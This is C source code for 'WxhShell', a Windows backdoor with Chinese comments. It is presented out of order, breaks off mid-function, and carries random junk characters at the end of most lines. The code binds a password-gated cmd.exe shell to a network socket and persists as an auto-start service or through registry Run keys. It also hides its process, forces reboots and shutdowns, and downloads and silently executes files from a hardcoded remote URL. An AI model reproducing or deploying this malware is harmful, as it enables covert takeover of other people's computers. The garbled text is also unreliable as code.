    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C4 H M  
    else { y)0r%=  
    closesocket(wsh); vUk <z*  
    ExitThread(0); 5A g 4o  
    } [y7BHikX)  
    break; !_3R dS  
    } ^i&sQQ( {  
  // 获取shell a^ hDxeG  
  case 's': { xX.fN7[  
    CmdShell(wsh); Y6~/H  
    closesocket(wsh); s5_[[:c=^  
    ExitThread(0); 'vq-~y5^#  
    break; $,ZBK6CT  
  } y'?ksow  
  // 退出 U p=J&^.  
  case 'x': { d9^ uEz(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u 0(H!  
    CloseIt(wsh); I kv@}^p 7  
    break; Uo>pV 9xRG  
    } 80TSE*  
  // 离开 v9QR,b` n  
  case 'q': { pTT7#b(t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /GCI`hx>"  
    closesocket(wsh); %JF.m$-  
    WSACleanup(); !B5 }`*1D  
    exit(1); kTZ`RW&0  
    break; ]a F,r"  
        } !C]0l  
  } TPEg>[  
  } i0; p?4`m  
*p0n{F9  
  // 提示信息 K;^$n>Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TUuw  
} q1Gc0{+)  
  } \bNN]=  
xfZ.  
  return; ,Dd )=  
} 6c>cq\~E  
96x$Xl;  
// shell模块句柄 | #Z+s-  
int CmdShell(SOCKET sock) "Qj;pqR  
{ r%QTUuRXC3  
STARTUPINFO si; In<L?U?([D  
ZeroMemory(&si,sizeof(si)); sH(@X<{p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `"`/_al^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -T3 z@k  
PROCESS_INFORMATION ProcessInfo; =aR'S\<  
char cmdline[]="cmd"; BV_rk^}Ur  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~5g2~.&*  
  return 0; ' P5t tI#|  
} zg L0v5vk  
WsO'4~X9  
// 自身启动模式 E:'TZ4Z  
int StartFromService(void) /qM:;:N%j  
{ N.R,[K  
typedef struct *S,5  
{ mux_S2x9m\  
  DWORD ExitStatus; nW#UBtZ  
  DWORD PebBaseAddress; *-0tj~)>  
  DWORD AffinityMask; "O@L IR7  
  DWORD BasePriority; o,}`4_N||  
  ULONG UniqueProcessId; ,v(K |P@  
  ULONG InheritedFromUniqueProcessId; Awy-kou[C  
}   PROCESS_BASIC_INFORMATION; qYjR  
$ <'i+kK  
PROCNTQSIP NtQueryInformationProcess; LE$_qX`L  
QlT{8uw )  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |-t>_+. J'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1o5n1 A  
h r9rI  
  HANDLE             hProcess; qbcaiU`-^"  
  PROCESS_BASIC_INFORMATION pbi; r: Ij\YQ  
2GB)K?1M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;>%@  
  if(NULL == hInst ) return 0; EMK>7 aks  
B. '&[A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mY!os91KoO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =SMI,p&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -CePtq`  
W:s`;8iM$  
  if (!NtQueryInformationProcess) return 0; ++{,1wY\  
g>].m8DZ'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /*Xr^X6  
  if(!hProcess) return 0; E d6k7  
e\o>(is  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -36pkC 6 \  
LEu_RU?  
  CloseHandle(hProcess); %#7NCdk;S  
Z|l/6L8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J4Yu|E<&  
if(hProcess==NULL) return 0; IXQxjqd^  
i|M^QKvF  
HMODULE hMod; %2)B.qTp&  
char procName[255]; Q)vf>LwC2S  
unsigned long cbNeeded; )o4B^kq  
^xz*%2@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O>FE-0rW}e  
S: b-+w|*  
  CloseHandle(hProcess); <WPLjgtn3  
b{X,0a{*  
if(strstr(procName,"services")) return 1; // 以服务启动 _4+'@u #  
uKOsYN%D  
  return 0; // 注册表启动 6d%V=1^F  
} Eu;f~ V  
Tw`n3y?  
// 主模块 G%Dhj)2}  
int StartWxhshell(LPSTR lpCmdLine) W.67};',  
{ A!xx#+M  
  SOCKET wsl; @B e7"Fm  
BOOL val=TRUE; n*yVfI  
  int port=0; SLGo/I*  
  struct sockaddr_in door; mEh([ZnY  
CGYZEPRR  
  if(wscfg.ws_autoins) Install(); hzR1O(  
<.d^jgG(j  
port=atoi(lpCmdLine); IZw>!KYG  
VDnN2)Km*  
if(port<=0) port=wscfg.ws_port; ,\".|m1o.  
x~ ;1CB  
  WSADATA data; eW"L")  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S8_>Lw  
^"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]x12_+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gjbSB6[  
  door.sin_family = AF_INET; vZ0K1UTEXY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e"I+5r",  
  door.sin_port = htons(port); m@A?'gD  
3]z%C'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u[Ij4h.  
closesocket(wsl); )c; YR}tC  
return 1; }hoyjzv]L  
} }={TVs^  
Pjvzefp  
  if(listen(wsl,2) == INVALID_SOCKET) { !=/wpsH  
closesocket(wsl); ;kE|Vx  
return 1; Of@ LEEh6  
} \x(ILk|'c  
  Wxhshell(wsl); [v%j?  
  WSACleanup(); p$S\l] ,  
q2SlK8`QJ  
return 0; n^xB_DJ~  
wr`+xYuuC=  
} kiP-^Wan  
,SVl>~!  
// 以NT服务方式启动 q$ZmR]p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &N+i3l6`  
{ eI#b%h  
DWORD   status = 0; He1hgJ)N  
  DWORD   specificError = 0xfffffff; VMZUJ2Yj/&  
<meQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p#QR^|7"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #'qDNY@w}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7]J7'!Iz  
  serviceStatus.dwWin32ExitCode     = 0; $URL7hrhU  
  serviceStatus.dwServiceSpecificExitCode = 0; LA9'HC(5  
  serviceStatus.dwCheckPoint       = 0; Fk4T>8q2;  
  serviceStatus.dwWaitHint       = 0; WL#E%6p[  
!:^?GN#~x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lL<LJ :L  
  if (hServiceStatusHandle==0) return; kM JA#{<  
GxynLXWo>  
status = GetLastError(); V1]QuQ{&s  
  if (status!=NO_ERROR) D\@)*"  
{ zn3]vU!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nD5+&M0  
    serviceStatus.dwCheckPoint       = 0; 8aMmz!S  
    serviceStatus.dwWaitHint       = 0; cxig<W  
    serviceStatus.dwWin32ExitCode     = status; EjF2mkA*  
    serviceStatus.dwServiceSpecificExitCode = specificError; .0a,%o 8n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eE0'3?q(  
    return; rm5@dM@  
  } 3ss0/\3P  
W{l{O1,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4^IqHx;bj  
  serviceStatus.dwCheckPoint       = 0; J=`2{ 'l  
  serviceStatus.dwWaitHint       = 0; Rk$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CTP!{<ii  
} tbm/gOBw  
YLU.]UC  
// 处理NT服务事件,比如:启动、停止 . l>.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %p}xW V.  
{ tmgZNg  
switch(fdwControl) &`LR{7m  
{ ;JHR~ TV  
case SERVICE_CONTROL_STOP: O,_k.EH  
  serviceStatus.dwWin32ExitCode = 0; l2h1CtAU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t}X+P`Ovq  
  serviceStatus.dwCheckPoint   = 0; V/@7XAt  
  serviceStatus.dwWaitHint     = 0; N2Q b+  
  { :RG=3T[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sa 8T'%W  
  } dm~Uj  
  return; p?H2W-  
case SERVICE_CONTROL_PAUSE: ZP(T=Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )/FEjo  
  break; wpK[;  
case SERVICE_CONTROL_CONTINUE: i%3q*:A]2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M/5+AsT  
  break; }J0HEpn4  
case SERVICE_CONTROL_INTERROGATE: @p 2XaqZ  
  break; NxGSs_7  
}; GS@ Zc2JPF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6=3;(2u[C"  
} DPM4v7 S  
iQ8T3cC+  
// 标准应用程序主函数 szw|`S>o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ph~ d%/^jI  
{ 3DX@ggE2  
4SNDKFw  
// 获取操作系统版本 3:mZ1+  
OsIsNt=GetOsVer(); /DGEI&}&:u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DWXHx  
 Uip-qWI  
  // 从命令行安装 ]z#9)i_l3  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZQI;b0C  
+]$c+!khj  
  // 下载执行文件 <HXzcWQ$  
if(wscfg.ws_downexe) { 4%"Df1 U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) + :;6kyM6X  
  WinExec(wscfg.ws_filenam,SW_HIDE); kVY 0 E  
} *Kmo1>^  
:7L[v9'  
if(!OsIsNt) { 8k9q@FSln  
// 如果时win9x,隐藏进程并且设置为注册表启动 0 ~^l*  
HideProc();  <6STw  
StartWxhshell(lpCmdLine); 4sM9~zC5  
} %uQOAe55  
else (4Ha'uqz  
  if(StartFromService()) .:9XpKbt  
  // 以服务方式启动 *Q!I^]CR  
  StartServiceCtrlDispatcher(DispatchTable); 3:?QE  
else z`2Ais@ao  
  // 普通方式启动 rGgP9 (  
  StartWxhshell(lpCmdLine); HvJ-P#  
V: P   
return 0; W@p27Tiq  
} XgPZcOzYB  
~@%#eg  
7Rl/F1G o}  
v&3 Oc  
=========================================== 9FcH\2J  
9w}_CCj3  
X(qs]:  
]\6*2E{1m  
/:+MUw7~  
v%4zP%4Ak[  
" * amZ  
"YoFUfaNg  
#include <stdio.h> Z11I1)%s  
#include <string.h> :)j& t>aP  
#include <windows.h> +BgUnu26  
#include <winsock2.h> Lj Y@b  
#include <winsvc.h> <uXQT$@?  
#include <urlmon.h> *f k3IvAXu  
5fuYva >Ik  
#pragma comment (lib, "Ws2_32.lib") V1 {'d[E*  
#pragma comment (lib, "urlmon.lib") P:k!dRb9{  
j*L-sU  
#define MAX_USER   100 // 最大客户端连接数 39oI &D>8  
#define BUF_SOCK   200 // sock buffer `(&GLv[i^2  
#define KEY_BUFF   255 // 输入 buffer 5D<"kT  
=(Pk7{  
#define REBOOT     0   // 重启  IcUE=J  
#define SHUTDOWN   1   // 关机 (Nn)_caVb  
<qjolMO`  
#define DEF_PORT   5000 // 监听端口 '~n=<Y  
8ps1Q2|  
#define REG_LEN     16   // 注册表键长度 >d<tcaB  
#define SVC_LEN     80   // NT服务名长度 <hB~|a<#  
G`R_kg9$  
// 从dll定义API l *]nvd_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3}x6IM 2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I7?s+vyds  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s&D>'J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |l673FcJ  
JK^pb0ih  
// wxhshell配置信息 JTdcL mL  
struct WSCFG { a8cX {6  
  int ws_port;         // 监听端口 >e^8fpgSo  
  char ws_passstr[REG_LEN]; // 口令 22gh,e2o  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6bd{3@   
  char ws_regname[REG_LEN]; // 注册表键名 ^^kL.C Ym  
  char ws_svcname[REG_LEN]; // 服务名 Dy^A??A[E}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U{ ZKxE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }ZkGH}K_}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7f\/cS^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o>MB8[r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '$y.`/$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QR(j7>+J^  
<~P([5  
}; 3Ss)i7  
,Lr}P  
// default Wxhshell configuration G4QsR7  
struct WSCFG wscfg={DEF_PORT, 'tMS5d)4:  
    "xuhuanlingzhe", 1)!?,O\ey  
    1, n$E'+kox  
    "Wxhshell", 17S<6j#H5  
    "Wxhshell", ?X3uPj9if  
            "WxhShell Service", yPT\9"/  
    "Wrsky Windows CmdShell Service", mJa8;X!r6  
    "Please Input Your Password: ", *ez7Q   
  1, Mq4>Mu  
  "http://www.wrsky.com/wxhshell.exe", %40+si3c  
  "Wxhshell.exe" I^!c1S  
    }; xG|n7w*  
7-2,|(Xg  
// 消息定义模块 <-N7Skkk!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?RU_SCp-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,Laz515  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2hFOwI  
char *msg_ws_ext="\n\rExit."; C0-,<X  
char *msg_ws_end="\n\rQuit."; ;;<[_gp,E  
char *msg_ws_boot="\n\rReboot..."; >IEc4  
char *msg_ws_poff="\n\rShutdown..."; zD): yEc  
char *msg_ws_down="\n\rSave to "; \5R>+[n!  
^/"2s}+  
char *msg_ws_err="\n\rErr!"; 3TF'[(K=  
char *msg_ws_ok="\n\rOK!"; KK41I 8Mw  
({9P, D~2  
char ExeFile[MAX_PATH]; ],w+4;+  
int nUser = 0; mmBZ}V+&=  
HANDLE handles[MAX_USER]; 0JX/@LNg0  
int OsIsNt; u!9bhL`  
7 ^n{BsN  
SERVICE_STATUS       serviceStatus; -A)/CFIZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qY|NA)E)Bp  
"<1-9CMl  
// 函数声明 Vo(V<2lw}  
int Install(void); _NB8>v  
int Uninstall(void); 28=L9q   
int DownloadFile(char *sURL, SOCKET wsh); >|_B=<!99W  
int Boot(int flag); 4 k y/a1y-  
void HideProc(void); Fu"@)xw/-q  
int GetOsVer(void); ;1L7+.A  
int Wxhshell(SOCKET wsl); A S]jJc^  
void TalkWithClient(void *cs); D}L4uz?  
int CmdShell(SOCKET sock); \!!1o+#1j  
int StartFromService(void); 0;:AT|U/d  
int StartWxhshell(LPSTR lpCmdLine); pb}4{]sI  
&1M#;rE;D#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k{ibD5B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q-4#)EnW  
T8\%+3e.  
// 数据结构和表定义 # PZBh  
SERVICE_TABLE_ENTRY DispatchTable[] = kYU!6t1  
{ TTm  
{wscfg.ws_svcname, NTServiceMain}, D0@d}N  
{NULL, NULL} ]R6Z(^XT,E  
}; vH/ Y]Am  
O*-sSf   
// 自我安装 ^=Egf?|[  
int Install(void)  :IX_}|  
{  cvO;xR  
  char svExeFile[MAX_PATH]; .Af H>)E  
  HKEY key; #Q$`3rr  
  strcpy(svExeFile,ExeFile); m`H9^w%W  
QliP9-im3  
// 如果是win9x系统,修改注册表设为自启动 XaR(~2  
if(!OsIsNt) { g@IYD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9}Qrb@DT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7kH GU  
  RegCloseKey(key); KSy.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Eumdv#Qg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5H |<h  
  RegCloseKey(key);  9Li.B1j  
  return 0; _~_6qTv-d  
    } WDQw)EUl&  
  } iBPx97a  
} [Se0+\,&  
else { 8!VF b+  
6jo+i[h  
// 如果是NT以上系统,安装为系统服务 u(P;) E"1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rBovC  
if (schSCManager!=0) z{dn   
{ 9S$?2z".2  
  SC_HANDLE schService = CreateService R; Gf3K  
  ( 3-$w5O3}  
  schSCManager, HP*AN@>Kw  
  wscfg.ws_svcname, ffE&=eh)  
  wscfg.ws_svcdisp, uq_h8JH$  
  SERVICE_ALL_ACCESS, |4u?Q+k%%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8@'Q=".J  
  SERVICE_AUTO_START, *'h vYl/?>  
  SERVICE_ERROR_NORMAL, nO7#m~  
  svExeFile, G?QU|<mj<  
  NULL, VKXZA2<?'  
  NULL, DsH`I %w{  
  NULL, `-[+(+["  
  NULL, LTt| "D  
  NULL 1$a dX  
  ); +)7Yqh#$  
  if (schService!=0) ]6 vqgu  
  { Lmw{ `R  
  CloseServiceHandle(schService); w-(^w9_e  
  CloseServiceHandle(schSCManager); V;SXa|,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "J (.dg]"  
  strcat(svExeFile,wscfg.ws_svcname); *) ?Fo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?5#=Mh#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8/* 6&#-  
  RegCloseKey(key); [Q*aJLG  
  return 0; HOY9{>E}z  
    } /"%QIy'{  
  } Il9pL~u  
  CloseServiceHandle(schSCManager); O`W&`B(*k  
} j2"Y{6c  
} b(McH*_8e  
GDj ViAFm  
return 1; 9XPQ1LSx  
} !%_H1jk  
ua!g}m~  
// 自我卸载 h2C1'+Q{9  
int Uninstall(void) 0kB!EJ<OdG  
{ ,-[dr|.  
  HKEY key; "3Z<V8xB  
Q&Ox\*sMK  
if(!OsIsNt) { *|DIG{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :g[G&Ds8  
  RegDeleteValue(key,wscfg.ws_regname);  zOnQ656  
  RegCloseKey(key); Ug|o ($CY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C5jR||  
  RegDeleteValue(key,wscfg.ws_regname); )wwQv2E  
  RegCloseKey(key); X[ o9^<  
  return 0; "x$RTuWA9  
  } KGI0|Z]n~  
} 7VwLyy  
} P"WnU'+  
else { h.W;Dmf6]  
Aa;s.:?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d.3O1TXK  
if (schSCManager!=0) 6hs2B5)+  
{ j!H\hj/]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `y!6(xI  
  if (schService!=0)  _,2P4  
  { Nl^{w'X0h  
  if(DeleteService(schService)!=0) { &G>EBKn\2`  
  CloseServiceHandle(schService); @#%rTKD9F  
  CloseServiceHandle(schSCManager); p 8q9:Tz  
  return 0; $N#f)8v  
  } Gv,0{DVX<  
  CloseServiceHandle(schService); ]'UO]i/  
  } 2eBA&t  
  CloseServiceHandle(schSCManager); LF~=,S  
} O/(qi8En  
} w*Gv#B9G  
3 TN?yP)  
return 1; >Rbgg1^]5  
}  *YFe  
r4~Bn7j2  
// 从指定url下载文件 icf[.  
int DownloadFile(char *sURL, SOCKET wsh) C||A[JOS  
{ G'<J8;B* t  
  HRESULT hr; .bYDj&]P{  
char seps[]= "/"; M_2[Wypw  
char *token; e,}]K'!t  
char *file; .FnO  
char myURL[MAX_PATH]; 1;l&ck-Gg/  
char myFILE[MAX_PATH]; ZL`G<Mo;.  
2b]'KiX  
strcpy(myURL,sURL); ,Jf)A/_  
  token=strtok(myURL,seps); J(\"\Z  
  while(token!=NULL) n NI V(  
  { Lj$yGdK<  
    file=token; @awaN  
  token=strtok(NULL,seps); cf|<~7  
  } WRJ+l_81  
?zKVXK7}0  
GetCurrentDirectory(MAX_PATH,myFILE); nzTzc5 w  
strcat(myFILE, "\\"); w49Wl>M  
strcat(myFILE, file); 8E/]k\  
  send(wsh,myFILE,strlen(myFILE),0); SrN;S kS  
send(wsh,"...",3,0); Es kh=xA {  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $;_'5`xs  
  if(hr==S_OK) ,$habq=;  
return 0; m%$z&<!  
else l|Zw Zix  
return 1; cK>5!2b  
NBR6$n  
} 7;C9V`  
hltH{4  
// 系统电源模块 Lrz>0_Q  
int Boot(int flag) .BXZ\r`  
{ 1V?}";T  
  HANDLE hToken; 'f<0&Ci8  
  TOKEN_PRIVILEGES tkp; 8 F'i5i  
k3[ ~I'  
  if(OsIsNt) { Ou; ]>FJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XQ<2(}]4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `OnN12`  
    tkp.PrivilegeCount = 1; xyx.1o e!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | zj$p~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'jeGERMr'  
if(flag==REBOOT) { I<.3"F1}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,{7wvXP  
  return 0; &{* [7Ad  
} }Xs=x6Mj  
else { j?6%=KuX<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v'.?:S&m  
  return 0; ~fs{Ff'  
} O@3EJkv  
  } #GK&{)$  
  else { f& (u[W  
if(flag==REBOOT) { ;tI=xNre`1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TD,W*(b  
  return 0; # 3uXgZi  
} Nm<3bd  
else { Rcf_31 L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W k'()N  
  return 0; :gb7Py'C  
} @5zL4n@w  
} r,i^-jv;  
tCK%vd%  
return 1; W)V"QrFK  
} [Y*p I&f  
d>NElug  
// win9x进程隐藏模块 r M'snW)  
void HideProc(void) 4NwGP^ n  
{ Y{@ez  
&^1DNpUZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~LHG  
  if ( hKernel != NULL ) Qm,|'y:Tg  
  { Rs8`M8(4%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D(}v`q{Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); npz*4\4  
    FreeLibrary(hKernel); suaTXKjyk+  
  } W*-+j*e|_P  
_=j0Y=/IF  
return; bR49(K$~  
} "VkraB.i  
$t-HJ<!  
// 获取操作系统版本 of8/~VO  
int GetOsVer(void) UBi0 /  
{ +|Xx=1_?BK  
  OSVERSIONINFO winfo; %`HAg MgP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }9>W41  
  GetVersionEx(&winfo); 9pStArF?F0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =4/lJm``  
  return 1; I9ubVcV8  
  else 2@1A,  
  return 0; sju. `f>-r  
}  {k}S!T  
s{KwO+UW  
// 客户端句柄模块 6I72;e ^!  
int Wxhshell(SOCKET wsl) 4'?kyTO~  
{ Fc7mAV=  
  SOCKET wsh; @xB"9s  
  struct sockaddr_in client; kfg9l?R$I<  
  DWORD myID; D>~z{H%\  
O|#^&d  
  while(nUser<MAX_USER) @1gX>!  
{ U9IN#;W  
  int nSize=sizeof(client); Gu|}ax"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p-y,OG  
  if(wsh==INVALID_SOCKET) return 1; nod?v2%   
-O\!IXG^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a*NcL(OC  
if(handles[nUser]==0) 6N:fq  
  closesocket(wsh); `K~300-hOb  
else ;->(hFJt  
  nUser++; 5sEq`P}5  
  } %gJf&A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zm9>"(H  
|9jeOV}/  
  return 0; :|M0n%-X  
} YT}m 8Y  
vEvVT]g[V  
// 关闭 socket l^%Ez?-:s  
void CloseIt(SOCKET wsh) /'u-Fr(Q+  
{ W'-B)li   
closesocket(wsh); @.a[2,o_  
nUser--; pqBd#  
ExitThread(0); uYhm Fp  
} {XC# -3O  
SQ]&nDd  
// 客户端请求句柄 ^|Of  
void TalkWithClient(void *cs) |(*ReQ?=  
{ cMsm[D{b  
=" #O1$  
  SOCKET wsh=(SOCKET)cs; V"#ie Y n  
  char pwd[SVC_LEN]; tVvRT*>Wb  
  char cmd[KEY_BUFF]; g599Lc&  
char chr[1]; vkOCyi?c  
int i,j; #Fl "#g$  
H@qA X  
  while (nUser < MAX_USER) { b/Z=FS2T  
=m:xf&r#  
if(wscfg.ws_passstr) { B5~S&HQ?B6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0ym>Hbax)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tz)aQ6p\X  
  //ZeroMemory(pwd,KEY_BUFF); R^<li;Km  
      i=0; CbVUz<  
  while(i<SVC_LEN) { MVs@~=  
xJa  
  // 设置超时 0g,;Yzm  
  fd_set FdRead; Nj5Mc>_   
  struct timeval TimeOut; 'mXf8   
  FD_ZERO(&FdRead); A/|To!R  
  FD_SET(wsh,&FdRead); c]v $C&FX  
  TimeOut.tv_sec=8; 5(^&0c>P  
  TimeOut.tv_usec=0; |yx]TD{~P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h<f_Eo z-a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <[@AMdS  
)/1AF^ E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >u ,Ac:  
  pwd=chr[0]; D kl4 ^}  
  if(chr[0]==0xd || chr[0]==0xa) { JQj?+PI  
  pwd=0; 4%LGP h  
  break; |77.Lqqy,  
  } fr#Y<=Jo  
  i++; *8M 0h9S$  
    } <kN4@bd;  
/ Of*II&  
  // 如果是非法用户,关闭 socket [`BMi-WQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +)h*)  
} __fa,kK{?  
] +<[D2f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R?b3G4~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1N{}G$'Go  
D>|m8-@]  
while(1) { l E=(6Q  
Q0K2md_%x  
  ZeroMemory(cmd,KEY_BUFF); N_rz~$|@9  
?n)d: )Ud"  
      // 自动支持客户端 telnet标准   zc01\M  
  j=0; J]yUjnQ[h  
  while(j<KEY_BUFF) { -~ \R.<+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `w` f[dU-  
  cmd[j]=chr[0]; C#d .3t  
  if(chr[0]==0xa || chr[0]==0xd) { [APwHIS  
  cmd[j]=0; VNBf2Va  
  break; %nk]zf..  
  } 1G$fU zS  
  j++; ``$Dgj[  
    } E #q gt9  
8[\F*H  
  // 下载文件 Yj3j?.JJk  
  if(strstr(cmd,"http://")) { /'k4NXnW3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [-5%[ty9X  
  if(DownloadFile(cmd,wsh)) Sio^FOTD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?f f!(U  
  else v._Q XcE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \  {` `r  
  } 3 eT5~Lbs  
  else { E w#UlA:"v  
44C"Pl E u  
    switch(cmd[0]) { }N[|2n R'  
  r@b M3V_o  
  // 帮助  mo+zq~,M  
